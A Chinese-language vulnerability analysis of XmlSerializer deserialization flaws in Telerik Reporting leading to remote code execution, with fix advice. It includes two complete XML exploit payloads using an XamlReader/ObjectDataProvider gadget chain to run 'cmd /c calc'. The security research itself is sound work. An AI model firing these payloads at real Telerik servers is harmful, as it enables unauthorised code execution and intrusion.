Telerik Reporting XmlSerializer反序列化的0day挖掘
字数 960 2025-08-03 09:33:37
Telerik Reporting XmlSerializer反序列化漏洞分析与利用
漏洞概述
本文详细分析Telerik Reporting组件中存在的XmlSerializer反序列化漏洞(CVE-2024-1800、CVE-2024-1856、CVE-2024-1801),该漏洞可导致远程代码执行(RCE)。漏洞存在于Telerik Reporting的报表功能中,通过精心构造的XML数据可触发反序列化过程执行任意代码。
受影响版本
- 旧版本:4.2.10.1221及之前
- 新版本:17.2.23.1114及之前
漏洞原理分析
旧版本漏洞原理
-
反序列化流程:
StringReader stringReader = new StringReader(test); using (XmlReader xmlReader = XmlReader.Create(stringReader)) { XmlSerializer serializer = new XmlSerializer(typeof(Telerik.Reporting.Report)); var Reports = (Telerik.Reporting.Report)serializer.Deserialize(xmlReader); } -
关键点:
Telerik.Reporting.Report类实现了IXmlSerializable接口- 反序列化时会调用自定义的
ReadXml方法 - 调用链:
Telerik.Reporting.Report#ReadXml→ReportItemBase#ReadXml→Telerik.Reporting.Xml.XmlUtils#ReadXml
-
类型可控点:
PropertyInfo property = type1.GetProperty(reader.Name); object collection = property.GetValue(obj, (object[]) null); if (((object) property.PropertyType == (object) typeof (object) || XmlUtils.IsKnownType(property.PropertyType)) && property.CanWrite) { string attribute = reader.GetAttribute("Type"); if (null != attribute) { Type type2 = Type.GetType(attribute); // 后续会使用XmlSerializer反序列化type2类型 } } -
利用条件:
Report类中存在object类型属性- 通过
DataSource部分构造恶意类型
新版本漏洞原理
-
变化点:
- 新版使用自定义反序列化器
ReportXmlSerializer Report类不再实现IXmlSerializable接口
- 新版使用自定义反序列化器
-
反序列化流程:
private object ReadXmlElement(string name) { // 解析命名空间和本地名称 ObjectReader.ParseNsString(name, out prefix, out localName); // 解析类型 Type type1 = this.ResolveType(this.reader.LookupNamespace(prefix), localName); if (type1 != (Type) null) return this.ReadObject(type1); Type type2 = Type.GetType(name); if (!(type2 == (Type) null)) return this.ReadPrimitive(type2); // 处理null值 if (this.reader.Name == this.Settings.NullString || this.reader.Value == this.Settings.NullString) return (object) null; throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name); } -
利用点:
WebServiceDataSource类的Source属性(public object Source { get; set; })- 通过
ObjectDataProvider调用任意方法
漏洞利用
旧版本利用Payload
<?xml version="1.0" encoding="utf-16"?>
<Report Width="15cm">
<PageSettings PaperKind="A4" Landscape="false">
<Margins Left="2.53999993cm" Right="2.53999993cm" Top="2.53999993cm" Bottom="2.53999993cm" />
</PageSettings>
<DataSource Type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider>
<ProjectedProperty0>
<ObjectInstance d5p1:type="XamlReader" xmlns:d5p1="http://www.w3.org/2001/XMLSchema-instance" />
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" d6p1:type="q1:string" xmlns:d6p1="http://www.w3.org/2001/XMLSchema-instance">
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</DataSource>
</Report>
新版本利用Payload
<?xml version="1.0" encoding="utf-16"?>
<Report DataSourceName="dataSource1" Width="17cm" xmlns="http://schemas.telerik.com/reporting/2023/3.0">
<DataSources>
<WebServiceDataSource DataEncoding="1200" ParameterValues="null" AuthParameterValues="null" ServiceUrl="test.com" Name="dataSource1">
<Source>
<ObjectDataProvider MethodName="Parse" xmlns="clr-namespace:System.Windows.Data;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<ObjectInstance>
<XamlReader xmlns="clr-namespace:System.Windows.Markup;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
</ObjectInstance>
<MethodParameters>
<String xmlns="http://schemas.telerik.com/reporting/2023/3.0">
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
</String>
</MethodParameters>
</ObjectDataProvider>
</Source>
</WebServiceDataSource>
</DataSources>
<PageSettings PaperKind="A4">
<Margins>
<MarginsU Left="20mm" Right="20mm" Top="20mm" Bottom="20mm" />
</Margins>
</PageSettings>
</Report>
漏洞修复建议
- 升级到Telerik Reporting最新版本
- 对输入XML数据进行严格验证和过滤
- 限制反序列化过程中可加载的类型
- 使用安全的XML解析配置
总结
该漏洞源于Telerik Reporting组件对XML反序列化的不安全实现,攻击者可通过构造恶意XML数据实现远程代码执行。新旧版本虽然实现方式不同,但都存在类似的漏洞模式。开发人员应及时更新组件并实施安全配置,以防范此类攻击。